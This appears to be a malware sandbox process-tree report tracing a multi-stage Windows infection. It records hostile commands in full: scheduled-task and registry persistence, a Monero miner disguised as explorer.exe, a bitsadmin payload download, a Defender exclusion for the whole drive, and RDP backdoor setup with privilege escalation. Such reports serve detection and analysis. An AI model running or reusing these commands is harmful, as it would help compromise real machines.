C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"8⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe"C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe"9⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\10⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\11⤵
- Suspicious use of WriteProcessMemory
-
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN sqtvvs.exe /TR "C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe" /F10⤵
- Creates scheduled task(s)
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Soft1ww01.exe"C:\Users\Admin\AppData\Local\Temp\Soft1ww01.exe"7⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1288 -s 14408⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Program crash
- Suspicious use of FindShellTrayWindow
-
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-2D812.tmp\setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-2D812.tmp\setup.tmp" /SL5="$1023C,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT9⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-R5LFP.tmp\setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-R5LFP.tmp\setup.tmp" /SL5="$10260,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT10⤵
-
C:\Users\Admin\AppData\Local\Temp\is-HDVLI.tmp\postback.exe"C:\Users\Admin\AppData\Local\Temp\is-HDVLI.tmp\postback.exe" ss111⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"7⤵
- Executes dropped EXE
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit8⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'9⤵
- Creates scheduled task(s)
-
-
-
C:\Users\Admin\AppData\Roaming\services64.exe"C:\Users\Admin\AppData\Roaming\services64.exe"8⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit9⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\System32\cmd.exe /c schtasks /create /f /sc onlogon /rl highest /tn services64 /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit10⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn services64 /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'11⤵
- Creates scheduled task(s)
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Roaming\MICROS~1\Libs\sihost64.exe"9⤵
-
C:\Users\Admin\AppData\Roaming\MICROS~1\Libs\sihost64.exeC:\Users\Admin\AppData\Roaming\MICROS~1\Libs\sihost64.exe10⤵
-
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth9⤵
-
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon209c830507d573.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS4F040D95\Mon209c830507d573.exeMon209c830507d573.exe5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\7zS4F040D95\Mon209c830507d573.exeC:\Users\Admin\AppData\Local\Temp\7zS4F040D95\Mon209c830507d573.exe6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6044 -s 1441⤵
- Program crash
-
C:\Users\Admin\Pictures\ADOBEF~1\XRTDQO~1.EXEC:\Users\Admin\Pictures\ADOBEF~1\XRTDQO~1.EXE /mixtwo1⤵
-
C:\Users\Admin\Pictures\ADOBEF~1\NLDG4B~1.EXEC:\Users\Admin\Pictures\ADOBEF~1\NLDG4B~1.EXE1⤵
-
C:\Users\Admin\Pictures\ADOBEF~1\M7_IAX~1.EXEC:\Users\Admin\Pictures\ADOBEF~1\M7_IAX~1.EXE1⤵
-
C:\Users\Admin\AppData\Local\Temp\is-ASO19.tmp\M7_IAX~1.tmp"C:\Users\Admin\AppData\Local\Temp\is-ASO19.tmp\M7_IAX~1.tmp" /SL5="$10462,506127,422400,C:\Users\Admin\Pictures\ADOBEF~1\M7_IAX~1.EXE"2⤵
-
C:\Users\Admin\AppData\Local\Temp\is-ES2QI.tmp\DYbALA.exe"C:\Users\Admin\AppData\Local\Temp\is-ES2QI.tmp\DYbALA.exe" /S /UID=27093⤵
-
C:\Program Files\Internet Explorer\UZEZVWGDOJ\foldershare.exe"C:\Program Files\Internet Explorer\UZEZVWGDOJ\foldershare.exe" /VERYSILENT4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\17-228b3-acd-10db0-96136a8f8c416\Visyxaefishy.exe"C:\Users\Admin\AppData\Local\Temp\17-228b3-acd-10db0-96136a8f8c416\Visyxaefishy.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a0-095cf-67e-e199c-9ec14413692f2\SHishulylyci.exe"C:\Users\Admin\AppData\Local\Temp\a0-095cf-67e-e199c-9ec14413692f2\SHishulylyci.exe"4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\3qtqsneh.rba\GcleanerEU.exe /eufive & exit5⤵
-
C:\Users\Admin\AppData\Local\Temp\3qtqsneh.rba\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\3qtqsneh.rba\GcleanerEU.exe /eufive6⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\gm10gdyu.lmr\installer.exe /qn CAMPAIGN="654" & exit5⤵
-
C:\Users\Admin\AppData\Local\Temp\gm10gdyu.lmr\installer.exeC:\Users\Admin\AppData\Local\Temp\gm10gdyu.lmr\installer.exe /qn CAMPAIGN="654"6⤵
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\gm10gdyu.lmr\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\gm10gdyu.lmr\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1633869389 /qn CAMPAIGN=""654"" " CAMPAIGN="654"7⤵
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\k0tlc3pf.zyw\any.exe & exit5⤵
-
C:\Users\Admin\AppData\Local\Temp\k0tlc3pf.zyw\any.exeC:\Users\Admin\AppData\Local\Temp\k0tlc3pf.zyw\any.exe6⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ifckjmej.nt0\gcleaner.exe /mixfive & exit5⤵
-
C:\Users\Admin\AppData\Local\Temp\ifckjmej.nt0\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\ifckjmej.nt0\gcleaner.exe /mixfive6⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\0d3vhxao.xvb\autosubplayer.exe /S & exit5⤵
-
C:\Users\Admin\AppData\Local\Temp\0d3vhxao.xvb\autosubplayer.exeC:\Users\Admin\AppData\Local\Temp\0d3vhxao.xvb\autosubplayer.exe /S6⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsz8A19.tmp\tempfile.ps1"7⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsz8A19.tmp\tempfile.ps1"7⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsz8A19.tmp\tempfile.ps1"7⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsz8A19.tmp\tempfile.ps1"7⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsz8A19.tmp\tempfile.ps1"7⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsz8A19.tmp\tempfile.ps1"7⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsz8A19.tmp\tempfile.ps1"7⤵
-
-
C:\Windows\SysWOW64\bitsadmin.exe"bitsadmin" /Transfer helper http://fscloud.su/data/data.7z C:\zip.7z7⤵
- Download via BitsAdmin
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\34B3.exeC:\Users\Admin\AppData\Local\Temp\34B3.exe1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding A28906AB7510351D919D164BD630DD2D C2⤵
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 5D557FE752B84CAA96EE9B7876B666AD2⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f3⤵
-
C:\Windows\SysWOW64\taskkill.exeC:\Windows\SysWOW64\taskkill.exe /im AdvancedWindowsManager* /f4⤵
- Kills process with taskkill
-
C:\Users\Admin\AppData\Roaming\MICROS~1\TELEME~1\sihost32.exeC:\Users\Admin\AppData\Roaming\MICROS~1\TELEME~1\sihost32.exe5⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\\conhost.exe" "/sihost32"6⤵
-
-
-
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 68C3C64DFE16B0A71AF28A9432760F8D E Global\MSI00002⤵
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\34F.exeC:\Users\Admin\AppData\Local\Temp\34F.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\34F.exeC:\Users\Admin\AppData\Local\Temp\34F.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\1B2D.exeC:\Users\Admin\AppData\Local\Temp\1B2D.exe1⤵
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\3E85.exeC:\Users\Admin\AppData\Local\Temp\3E85.exe1⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\wyemuzzl\2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\System32\cmd.exe /C mkdir C:\Windows\SysWOW64\wyemuzzl\3⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ysoufphn.exe" C:\Windows\SysWOW64\wyemuzzl\2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\System32\cmd.exe /C move /Y C:\Users\Admin\AppData\Local\Temp\ysoufphn.exe C:\Windows\SysWOW64\wyemuzzl\3⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Windows\System32\sc.exe" create wyemuzzl binPath= "C:\Windows\SysWOW64\wyemuzzl\ysoufphn.exe /d\"C:\Users\Admin\AppData\Local\Temp\3E85.exe\"" type= own start= auto DisplayName= "wifi support"2⤵
-
C:\Windows\SysWOW64\sc.exeC:\Windows\System32\sc.exe create wyemuzzl binPath= C:\Windows\SysWOW64\wyemuzzl\ysoufphn.exe /d\"C:\Users\Admin\AppData\Local\Temp\3E85.exe\" type= own start= auto DisplayName= wifi support3⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Windows\System32\sc.exe" description wyemuzzl "wifi internet conection"2⤵
-
C:\Windows\SysWOW64\sc.exeC:\Windows\System32\sc.exe description wyemuzzl wifi internet conection3⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Windows\System32\sc.exe" start wyemuzzl2⤵
-
C:\Windows\SysWOW64\sc.exeC:\Windows\System32\sc.exe start wyemuzzl3⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul2⤵
-
C:\Windows\SysWOW64\netsh.exeC:\Windows\System32\netsh.exe advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul3⤵
-
-
-
C:\Users\Admin\tnjpakci.exe"C:\Users\Admin\tnjpakci.exe" /d"C:\Users\Admin\AppData\Local\Temp\3E85.exe"2⤵
-
C:\Windows\SysWOW64\svchost.exesvchost.exe3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\52CA.exeC:\Users\Admin\AppData\Local\Temp\52CA.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\6587.exeC:\Users\Admin\AppData\Local\Temp\6587.exe1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Users\Admin\AppData\Local\Temp\8266.exeC:\Users\Admin\AppData\Local\Temp\8266.exe1⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /c taskkill /im 8266.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\8266.exe" & del C:\ProgramData\*.dll & exit2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\System32\cmd.exe /c taskkill /im 8266.exe /f & timeout /t 6 & del /f /q C:\Users\Admin\AppData\Local\Temp\8266.exe & del C:\ProgramData\*.dll & exit3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im 8266.exe /f4⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 64⤵
- Delays execution with timeout.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\9795.exeC:\Users\Admin\AppData\Local\Temp\9795.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\B2CF.exeC:\Users\Admin\AppData\Local\Temp\B2CF.exe1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Users\Admin\AppData\Local\Temp\F046.exeC:\Users\Admin\AppData\Local\Temp\F046.exe1⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\slhvcfiu\slhvcfiu.cmdline"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFDC1.tmp" "c:\Users\Admin\AppData\Local\Temp\slhvcfiu\CSC2958F7265BCA4A568A3479C196C83.TMP"4⤵
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f3⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f3⤵
- Modifies registry key
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f3⤵
-
-
C:\Windows\SysWOW64\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c net start rdpdr4⤵
-
C:\Windows\SysWOW64\net.exenet start rdpdr5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start rdpdr6⤵
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c net start TermService4⤵
-
C:\Windows\SysWOW64\net.exenet start TermService5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start TermService6⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\F614.exeC:\Users\Admin\AppData\Local\Temp\F614.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\F614.exeC:\Users\Admin\AppData\Local\Temp\F614.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\920.exeC:\Users\Admin\AppData\Local\Temp\920.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\2BCC.exeC:\Users\Admin\AppData\Local\Temp\2BCC.exe1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Users\Admin\AppData\Roaming\MICROS~1\Libs\sihost64.exeC:\Users\Admin\AppData\Roaming\MICROS~1\Libs\sihost64.exe1⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "/sihost64"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\8BDE.exeC:\Users\Admin\AppData\Local\Temp\8BDE.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\967E.exeC:\Users\Admin\AppData\Local\Temp\967E.exe1⤵
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\_Piejpnomdy.vbs"2⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Windows\System32\WINDOW~1\v1.0\powershell.exe" Set-MpPreference -ExclusionPath C:\,'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Google\wslm.exe'3⤵
-
C:\Windows\SysWOW64\WINDOW~1\v1.0\powershell.exeC:\Windows\System32\WINDOW~1\v1.0\powershell.exe Set-MpPreference -ExclusionPath C:\,'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Google\wslm.exe'4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\967E.exeC:\Users\Admin\AppData\Local\Temp\967E.exe2⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Windows\System32\WINDOW~1\v1.0\powershell.exe" Test-Connection www.google.com3⤵
-
C:\Windows\SysWOW64\WINDOW~1\v1.0\powershell.exeC:\Windows\System32\WINDOW~1\v1.0\powershell.exe Test-Connection www.google.com4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\A66D.exeC:\Users\Admin\AppData\Local\Temp\A66D.exe1⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\NYLGHA~1.EXE"2⤵
-
C:\Users\Admin\AppData\Local\Temp\NYLGHA~1.EXEC:\Users\Admin\AppData\Local\Temp\NYLGHA~1.EXE3⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\QF5DSH~1.EXE"2⤵
-
C:\Users\Admin\AppData\Local\Temp\QF5DSH~1.EXEC:\Users\Admin\AppData\Local\Temp\QF5DSH~1.EXE3⤵
-
-
-
